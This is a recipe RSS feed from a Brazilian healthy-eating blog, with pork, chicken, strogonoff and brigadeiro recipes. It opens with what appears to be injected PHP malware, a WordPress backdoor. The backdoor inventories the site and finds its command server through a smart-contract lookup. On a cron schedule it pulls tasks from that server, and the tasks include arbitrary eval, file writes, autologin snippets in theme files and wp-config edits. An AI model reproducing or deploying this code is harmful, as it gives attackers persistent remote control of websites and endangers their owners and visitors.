// 0y_mf if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home1/nutricaosaudavel/public_html/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// 0y_mf', 'vis'=>'// e3_4r', 'vis_func'=>'wp_4jyj41', 'vis_paths'=>array('/home1/nutricaosaudavel/public_html/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_rbqicw33', ); $keys=array(); $keys['id']='pbk'; $keys['ver']='4a'; $keys['caps']='x16'; $keys['tasks']='v04'; $keys['interval']='dqx'; $keys['ack_id']='ggk'; $keys['ok']='c6'; $keys['detail']='rlc'; $keys['inv']='edd'; $keys['result']='tf3'; $hdr='X-3Q9-Auth';$tok='NM0a_ahaY_3ez0ygjeiV7v6Sd_XuQBZceelp06neY98';$id='bdf748f2aa4caae3';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); receitas-dia-20-09 – Nutrição e Vida Saudável https://nutricaoevidasaudavel.com.br Dicas de Saúde Fri, 22 Sep 2023 14:55:26 +0000 pt-BR hourly 1 Iscas de filé mignon suíno https://nutricaoevidasaudavel.com.br/iscas-de-file-mignon-suino/ https://nutricaoevidasaudavel.com.br/iscas-de-file-mignon-suino/#respond Wed, 20 Sep 2023 16:25:44 +0000 https://nutricaoevidasaudavel.com.br/?p=3317 3 minutos Nesta receita de Iscas de filé mignon suíno, trazemos à mesa o nobre filé mignon suíno, uma joia da gastronomia que se destaca por sua textura suculenta e sabor delicadamente acentuado. Cortado em tiras finas e habilmente temperado, este prato eleva a simplicidade a um nível de sofisticação irresistível. Combinando técnicas refinadas com ingredientes cuidadosamente selecionados, as Iscas de Filé Mignon Suíno se transformam em pequenas pérolas de sabor, capazes de conquistar corações e paladares exigentes. Esta receita é um convite para Continue→]]> Tempo de leitura: 3 minutos

Nesta receita de Iscas de filé mignon suíno, trazemos à mesa o nobre filé mignon suíno, uma joia da gastronomia que se destaca por sua textura suculenta e sabor delicadamente acentuado. Cortado em tiras finas e habilmente temperado, este prato eleva a simplicidade a um nível de sofisticação irresistível.

Combinando técnicas refinadas com ingredientes cuidadosamente selecionados, as Iscas de Filé Mignon Suíno se transformam em pequenas pérolas de sabor, capazes de conquistar corações e paladares exigentes. Esta receita é um convite para explorar os limites da criatividade culinária, proporcionando uma experiência que transcende o ordinário e nos presenteia com um momento de verdadeira magia gastronômica.

Prepare-se para se deliciar com uma explosão de sabores, uma dança de texturas e uma sinfonia de aromas que prometem fazer desta refeição um acontecimento inesquecível. Então, pegue seu avental, afie suas facas e deixe-se levar por esta jornada culinária que promete surpreender até os mais refinados paladares. É hora de brindar à arte da boa comida e desfrutar das inigualáveis Iscas de Filé Mignon Suíno. Bon appétit!

Iscas de filé mignon suíno

Categoria: Comidas  – Dificuldade: Fácil

Tempo total de preparo: 20 minutos

ingredientes

  • 350 gramas de filé mignon suíno cortado em iscas
  • 2 colheres de sopa de azeite
  • 1 colher de chá de páprica doce
  • 1 colher de chá de páprica picante
  • 1 colher de chá de alho em pó
  • 1/4 xícara de chá de água
  • Sal e pimenta-do-reino a gosto

modo de preparo

  1. Em um recipiente, coloque as pápricas, o alho, 1 colher do azeite, a água, o sal e a pimenta. Misture bem e reserve.
  2. Em uma frigideira, esquente o restante do azeite e grelhe as iscas de mignon por 1 minuto.
  3. Junte a mistura de temperos, misture bem e deixe dourar.
  4. Agora é só servir. Bom apetite.

Ao final desta jornada culinária, é impossível não se render ao encanto das Iscas de Filé Mignon Suíno. Cada mordida é uma experiência que nos transporta para um mundo de sabores harmoniosos, onde a suculência da carne se entrelaça com os aromas dos temperos, criando uma sinfonia única.

Esperamos que esta receita tenha sido não apenas um guia na cozinha, mas também uma fonte de inspiração para suas próprias criações gastronômicas. Que cada preparo se torne uma celebração do prazer de cozinhar e do deleite em saborear. Que cada aroma, textura e sabor seja uma lembrança de que a culinária é, verdadeiramente, uma forma de arte.

Agradecemos por ter nos acompanhado nesta jornada e esperamos que as Iscas de Filé Mignon Suíno tenham deixado uma marca indelével em sua memória gustativa. Que elas possam ser compartilhadas com aqueles que mais amamos, tornando cada refeição um momento de celebração e união. Que a magia da cozinha continue a encantar seus dias e que novas descobertas culinárias estejam sempre à sua espera.

Bon appétit e até a próxima aventura gastronômica!

Conheça essa e outras opções de receitas em nosso Grupo do Facebook.

]]> https://nutricaoevidasaudavel.com.br/iscas-de-file-mignon-suino/feed/ 0 Filé à milanesa napolitano https://nutricaoevidasaudavel.com.br/file-a-milanesa-napolitano/ https://nutricaoevidasaudavel.com.br/file-a-milanesa-napolitano/#respond Wed, 20 Sep 2023 16:21:00 +0000 https://nutricaoevidasaudavel.com.br/?p=3314 3 minutos Hoje mergulharemos em um clássico venerado por gerações o Filé à Milanesa Napolitano. Esta obra-prima da culinária italiana é uma celebração de sabores autênticos e texturas irresistíveis. Imagine-se em um bistrô acolhedor à beira de uma rua de paralelepípedos, onde aromas sedutores enchem o ar, e cada mordida é uma explosão de sabor. Este prato, que surgiu das cozinhas generosas das nonnas napolitanas, foi aprimorado ao longo do tempo, mantendo sua essência e ganhando o coração de paladares ao redor do mundo. Continue→]]> Tempo de leitura: 3 minutos

Hoje mergulharemos em um clássico venerado por gerações o Filé à Milanesa Napolitano. Esta obra-prima da culinária italiana é uma celebração de sabores autênticos e texturas irresistíveis. Imagine-se em um bistrô acolhedor à beira de uma rua de paralelepípedos, onde aromas sedutores enchem o ar, e cada mordida é uma explosão de sabor. Este prato, que surgiu das cozinhas generosas das nonnas napolitanas, foi aprimorado ao longo do tempo, mantendo sua essência e ganhando o coração de paladares ao redor do mundo.

Prepare-se para uma experiência que une a crocância perfeita da milanesa com a sedutora riqueza dos sabores napolitanos. A cada passo desta jornada culinária, vamos desvendar os segredos e truques que transformarão uma simples refeição em uma verdadeira obra-prima. Desde a seleção cuidadosa dos ingredientes até a magia do preparo, cada etapa é uma homenagem ao espírito acolhedor e generoso que é a marca registrada da cozinha italiana.

Portanto, traga consigo a disposição de aprender e a curiosidade de explorar novos horizontes gastronômicos. Juntos, vamos criar um Filé à Milanesa Napolitano que vai fazer com que cada bocado seja uma ode aos sabores de Nápoles, e uma experiência inesquecível para todos que têm a sorte de se sentar à sua mesa. É hora de iniciar esta jornada culinária e trazer um pedacinho da ensolarada Nápoles para sua própria cozinha. Buon appetito!

Filé à milanesa napolitano

Categoria: Comidas  – Dificuldade: Fácil

Tempo total de preparo: 15 minutos

ingredientes

  • 600 gramas de peito de frango cortado em filés não muito finos
  • Sal e pimenta-do-reino a gosto
  • Farinha panko para empanar
  • 2 ovos
  • Banha ou óleo para fritar
  • Queijo mussarela ralado a gosto
  • 1 tomate fatiado
  • Orégano a gosto

modo de preparo

  1. Tempere os filés de frango com sal e pimenta.
  2. Coloque a farinha panko em uma tigela e em outra o ovo batido.
  3. Passe os filés no ovo e em seguida na farinha panko.
  4. Frite em óleo ou banha e acomode em uma travessa.
  5. Sobre cada filé coloque uma porção de mussarela, uma fatia de tomate e orégano.
  6. Asse em forno preaquecido a 180°C por cerca de 15 minutos e sirva! Bom apetite.

Ao final desta jornada culinária, espero que você tenha experimentado não apenas um prato delicioso, mas uma verdadeira viagem sensorial às ruas ensolaradas de Nápoles. O Filé à Milanesa Napolitano é mais do que uma simples refeição; é uma celebração da tradição, da paixão e da generosidade que caracterizam a culinária italiana.

Cada garfada é um tributo aos sabores autênticos e à dedicação que permeiam a cultura gastronômica napolitana. A crocância dourada da milanesa se harmoniza perfeitamente com o toque final de molho de tomate e queijo derretido, criando uma sinfonia de sabores que dança no paladar.

Espero que ao saborear este prato, você sinta um pedacinho de Nápoles dentro de sua própria casa, e que ele traga consigo memórias gustativas que perdurarão por muito tempo. Lembre-se, a cozinha é uma arte e você, agora, é um artista culinário que pode recriar essa experiência sempre que desejar.

Que este Filé à Milanesa Napolitano traga consigo não apenas o sabor da Itália, mas também a alegria de compartilhar momentos especiais à mesa com aqueles que você ama. Que cada garfada seja uma celebração da vida e do prazer de cozinhar para os outros. Buon appetito e que os sabores de Nápoles sempre o acompanhem!

Conheça essa e outras opções de receitas em nosso Grupo do Facebook.

]]> https://nutricaoevidasaudavel.com.br/file-a-milanesa-napolitano/feed/ 0 Strogonoff com creme de milho https://nutricaoevidasaudavel.com.br/strogonoff-com-creme-de-milho/ https://nutricaoevidasaudavel.com.br/strogonoff-com-creme-de-milho/#respond Wed, 20 Sep 2023 16:15:38 +0000 https://nutricaoevidasaudavel.com.br/?p=3308 3 minutos Esta receita de Strogonoff com creme de milho é uma verdadeira ode à diversidade culinária, onde a riqueza do creme de milho brasileiro encontra a delicadeza do clássico Strogonoff russo. Vamos explorar os encantos da cozinha fusion, combinando a tradição russa com um toque brasileiro em uma receita que promete conquistar o paladar de todos: o Strogonoff com Creme de Milho. Prepare-se para uma explosão de sabores e texturas que vão fazer sua boca se encher d’água. Com ingredientes selecionados e um Continue→]]> Tempo de leitura: 3 minutos

Esta receita de Strogonoff com creme de milho é uma verdadeira ode à diversidade culinária, onde a riqueza do creme de milho brasileiro encontra a delicadeza do clássico Strogonoff russo.

Vamos explorar os encantos da cozinha fusion, combinando a tradição russa com um toque brasileiro em uma receita que promete conquistar o paladar de todos: o Strogonoff com Creme de Milho. Prepare-se para uma explosão de sabores e texturas que vão fazer sua boca se encher d’água.

Com ingredientes selecionados e um preparo descomplicado, você será capaz de criar um prato que surpreenderá sua família e amigos, proporcionando uma experiência única à mesa.

Então, coloque o avental, afie suas habilidades culinárias e prepare-se para mergulhar de cabeça em um Strogonoff com Creme de Milho que é uma verdadeira sinfonia de sabores. Siga nosso guia passo a passo e deixe sua criatividade fluir na cozinha. Você está prestes a embarcar em uma jornada culinária que vai surpreender e encantar a todos. Vamos começar!

Strogonoff com creme de milho

Categoria: Comidas  – Dificuldade: Difícil

Tempo total de preparo: 60 minutos

Ingredientes para o strogonoff

  • 1 colher de sopa de óleo
  • 1 colher de sopa de manteiga
  • 700 gramas de peito de frango picado
  • 1 colher de chá (rasa) de sal
  • 2 dentes de alho amassados
  • 1/2 colher de chá de páprica picante
  • 1/2 cebola picada
  • 1 tomate picado
  • 100 gramas de champignon
  • 2 colheres de sopa de molho de tomate
  • 2 colheres de sopa de ketchup
  • 1 colher de sopa de mostarda
  • 250 gramas de milho
  • 300 gramas de creme de leite
  • 1 sachê de tempero para frango
  • Salsa desidratada a gosto

Ingredientes para a batata-palha

  • 3 batatas grandes
  • Óleo para fritar

Modo de preparo

  1. Em uma frigideira grande, aqueça o óleo e a manteiga e refogue o frango com o sal, o alho e a páprica até dourar.
  2. Misture a cebola e refogue por mais 2 minutos, então junte o tomate e o champignon e cozinhe até começar a desmanchar.
  3. Acrescente o molho de tomate, o ketchup e a mostarda, mexa bem e desligue o fogo.
  4. No liquidificador, bata o milho, o creme de leite e o tempero para frango até incorporar bem.
  5. Transfira para a frigideira com o frango, cozinhe por mais 2 minutos e finalize com a salsa.
  6. Para a batata-palha, descasque as batatas e rale-as em tiras bem finas.
  7. Transfira para um escorredor, passe em água corrente e reserve para escorrer bem.
  8. Em uma panela com óleo quente, frite as batatas em fogo médio até dourarem levemente.
  9. Vire para dourarem do outro lado e deixe escorrerem em um prato com papel toalha.
  10. Sirva o strogonoff com a batata-palha e está pronto.
  11. Agora é só saborear! Bom apetite.

Chegamos ao final desta deliciosa jornada gastronômica! Esperamos que cada garfada do nosso Strogonoff com Creme de Milho tenha sido uma explosão de sabores e uma celebração da diversidade culinária.

Ao unir tradições russas e brasileiras, criamos uma experiência que vai além do simples ato de alimentar o corpo, é uma verdadeira celebração da arte de cozinhar.

Esperamos que esta receita tenha despertado sua criatividade na cozinha e que você sinta-se inspirado a explorar novos horizontes culinários. Lembre-se sempre de que a cozinha é um espaço de liberdade, onde podemos experimentar, inovar e criar momentos memoráveis ao redor da mesa.

Agradecemos por nos acompanhar nesta jornada e desejamos que o sabor desta receita permaneça em sua memória, convidando-o a retornar em breve para novas aventuras gastronômicas. Até lá, que sua cozinha continue sendo um laboratório de sabores e que cada prato seja uma obra-prima de amor e dedicação. Bon appétit!

Conheça essa e outras opções de receitas em nosso Grupo do Facebook.

]]> https://nutricaoevidasaudavel.com.br/strogonoff-com-creme-de-milho/feed/ 0 Peito de frango no forno https://nutricaoevidasaudavel.com.br/peito-de-frango-no-forno/ https://nutricaoevidasaudavel.com.br/peito-de-frango-no-forno/#respond Wed, 20 Sep 2023 14:50:28 +0000 https://nutricaoevidasaudavel.com.br/?p=3306 2 minutos O peito de frango no forno é uma opção deliciosa e saudável para uma refeição nutritiva e reconfortante. Esta receita combina a suculência do peito de frango com uma mistura harmoniosa de temperos e ervas, resultando em um prato que agrada a todos os paladares. Além disso, o método de preparo no forno garante que o frango fique macio por dentro e com uma crosta dourada por fora, sem a necessidade de usar óleo excessivo. Com ingredientes simples e um processo descomplicado, Continue→]]> Tempo de leitura: 2 minutos

O peito de frango no forno é uma opção deliciosa e saudável para uma refeição nutritiva e reconfortante. Esta receita combina a suculência do peito de frango com uma mistura harmoniosa de temperos e ervas, resultando em um prato que agrada a todos os paladares.

Além disso, o método de preparo no forno garante que o frango fique macio por dentro e com uma crosta dourada por fora, sem a necessidade de usar óleo excessivo.

Com ingredientes simples e um processo descomplicado, esta receita se tornará uma adição bem-vinda ao seu repertório culinário. Acompanhe o passo a passo e desfrute de um peito de frango no forno perfeitamente preparado.

Peito de frango no forno

Categoria: Comidas  – Dificuldade: Moderado

Tempo total de preparo: 30 minutos

Ingredientes

  • 4 filés de peito de frango
  • 1 colher de sopa de páprica doce
  • 1 colher de sopa de azeite
  • 1 colher de sopa de mostarda
  • 1 colher de sopa de alho em pó
  • 1 colher de chá de alecrim seco
  • 1 colher de chá de molho inglês
  • Sal a gosto

Modo de preparo

  1. Corte os peitos de frango para deixá-los mais finos, caso esteja com um corte alto.
  2. Coloque todos os ingredientes com o frango e tempere bem espalhando bem por toda a carne.
  3. Deixe marinar por cerca de 2 horas.
  4. Transfira para uma forma e leve ao forno preaquecido a 200ºC por aproximadamente 20 minutos.
  5. Retire do forno e deixe descansar por 5 minutos.
  6. Agora é só servir. Bom apetite.

O peito de frango no forno é uma opção versátil e saborosa para uma refeição nutritiva e equilibrada. Ao seguir esta receita, você foi capaz de criar um prato que combina a suculência natural do frango com uma variedade de sabores que se complementam perfeitamente.

O método de cozimento no forno garante uma textura uniforme, resultando em um peito de frango tenro e suculento, com uma crosta dourada e apetitosa. A simplicidade dos ingredientes e o processo de preparo tornam esta receita acessível a todos os níveis de habilidade na cozinha. Experimente diferentes combinações de temperos e ervas para personalizar o prato ao seu gosto.

Este peito de frango no forno certamente se tornará uma adição frequente em suas refeições, proporcionando não apenas sabor, mas também nutrição de alta qualidade. Bon appétit!

Assista essa outra maneira de fazer o Peito de frango no forno!!

Conheça essa e outras opções de receitas em nosso Grupo do Facebook.

]]> https://nutricaoevidasaudavel.com.br/peito-de-frango-no-forno/feed/ 0 Frango cremoso com batata palha https://nutricaoevidasaudavel.com.br/frango-cremoso-com-batata-palha/ https://nutricaoevidasaudavel.com.br/frango-cremoso-com-batata-palha/#respond Wed, 20 Sep 2023 14:47:33 +0000 https://nutricaoevidasaudavel.com.br/?p=3304 1 minuto Esta receita de Frango Cremoso com Batata Palha é a combinação perfeita de texturas e sabores em um prato reconfortante e saboroso. É um verdadeiro deleite para os amantes da boa comida caseira. Com pedaços suculentos de frango envoltos em um molho cremoso e cobertos com a crocância irresistível da batata palha, este prato é uma verdadeira celebração de sabores. Prepare-se para uma experiência culinária que certamente se tornará um clássico em sua cozinha. Frango cremoso com batata palha Categoria: Comidas  – Dificuldade: Moderado Tempo Continue→]]> Tempo de leitura: 1 minuto

Esta receita de Frango Cremoso com Batata Palha é a combinação perfeita de texturas e sabores em um prato reconfortante e saboroso. É um verdadeiro deleite para os amantes da boa comida caseira.

Com pedaços suculentos de frango envoltos em um molho cremoso e cobertos com a crocância irresistível da batata palha, este prato é uma verdadeira celebração de sabores.

Prepare-se para uma experiência culinária que certamente se tornará um clássico em sua cozinha.

Frango cremoso com batata palha

Categoria: Comidas  – Dificuldade: Moderado

Tempo total de preparo: 30 minutos

Ingredientes do frango

  • 2 colheres de sopa de azeite de oliva
  • 400 gramas de peito de frango desfiado
  • 1/2 colher de chá de molho inglês
  • 2 colheres de sopa de extrato de tomate
  • Sal e pimenta a gosto
  • 1/4 de xícara de chá de cream cheese ou requeijão

Ingredientes do molho branco

  • 1 colher de sopa de manteiga
  • 1 colher de sopa de farinha de trigo
  • 1 xícara de chá de leite
  • Sal e pimenta a gosto
  • 1/4 de xícara de chá de cream cheese ou requeijão
  • 1 xícara de chá de queijo mussarela ralado
  • Batata palha a gosto

Ao saborear cada garfada deste Frango Cremoso com Batata Palha, é impossível não se render à perfeita harmonia de elementos que tornam este prato tão especial. A maciez do frango combinada com a cremosidade do molho é uma verdadeira sinfonia de sabores, elevada pela crocância das batatas palha.

Esta receita é uma excelente escolha para ocasiões especiais ou simplesmente para aqueles momentos em que se deseja desfrutar de uma refeição reconfortante e deliciosa. Compartilhe este prazer gastronômico com seus entes queridos e encante-os com a magia da boa comida caseira.

Assista essa outra maneira de fazer o Frango cremoso com batata palha!

Conheça essa e outras opções de receitas em nosso Grupo do Facebook.

]]> https://nutricaoevidasaudavel.com.br/frango-cremoso-com-batata-palha/feed/ 0 Brigadeiro de colher de Nutella https://nutricaoevidasaudavel.com.br/brigadeiro-de-colher-de-nutella/ https://nutricaoevidasaudavel.com.br/brigadeiro-de-colher-de-nutella/#respond Wed, 20 Sep 2023 14:44:01 +0000 https://nutricaoevidasaudavel.com.br/?p=3302 1 minuto Essa receita de Brigadeiro de colher de Nutella , além de surpreendentemente fácil, promete ser uma explosão de sabor para os amantes de chocolate e avelã. O Brigadeiro de colher de Nutella é a união perfeita entre a doçura envolvente do leite condensado, a intensidade do cacau e a irresistível textura e sabor da famosa pasta de avelã. Preparado em minutos e servido em pequenas porções, é uma deliciosa sobremesa para surpreender convidados ou simplesmente para aqueles momentos de indulgência pessoal. Sem Continue→]]> Tempo de leitura: 1 minuto

Essa receita de Brigadeiro de colher de Nutella , além de surpreendentemente fácil, promete ser uma explosão de sabor para os amantes de chocolate e avelã.

O Brigadeiro de colher de Nutella é a união perfeita entre a doçura envolvente do leite condensado, a intensidade do cacau e a irresistível textura e sabor da famosa pasta de avelã. Preparado em minutos e servido em pequenas porções, é uma deliciosa sobremesa para surpreender convidados ou simplesmente para aqueles momentos de indulgência pessoal.

Sem mais delongas, vamos mergulhar nessa experiência culinária e aprender como transformar ingredientes simples em uma sobremesa

Brigadeiro de colher de Nutella

Categoria: Sobremesas  – Dificuldade: Moderado

Tempo total de preparo: 30 minutos

Ingredientes

  • 1 lata de leite condensado
  • 1 colher de sopa de manteiga
  • 2 colheres de sopa (cheias) de chocolate em pó 70%
  • 2 colheres de sopa (bem cheias) de Nutella

Modo de preparo

  1. Reúna todos os ingredientes;
  2. Em uma panela, coloque o leite condensado, a manteiga, o chocolate em pó e misture bem;
  3. Leve para o fogo baixo e mexa sem parar, até começar a desgrudar do fundo da panela;
  4. Acrescente a Nutella e misture até incorporar;
  5. Agora é só servir. Bom apetite!

O Brigadeiro de colher de Nutella é uma verdadeira ode ao prazer gastronômico, capaz de encantar os paladares mais exigentes. Sua simplicidade na preparação e a explosão de sabores que proporciona tornam-no uma sobremesa indispensável em qualquer ocasião especial.

Seja para celebrar momentos especiais com amigos e familiares, ou apenas para se deleitar com um momento de doçura solitária, esta receita é um convite ao prazer. Permita-se mergulhar nesse universo de cremosidade e sabor, e experimente cada colherada desse verdadeiro deleite.

Compartilhe o amor em forma de Brigadeiro de Nutella e desfrute da alegria que essa iguaria é capaz de proporcionar. Agora, mãos à obra e permita-se saborear essa maravilha!

Conheça essa e outras opções de receitas em nosso Grupo do Facebook.

]]> https://nutricaoevidasaudavel.com.br/brigadeiro-de-colher-de-nutella/feed/ 0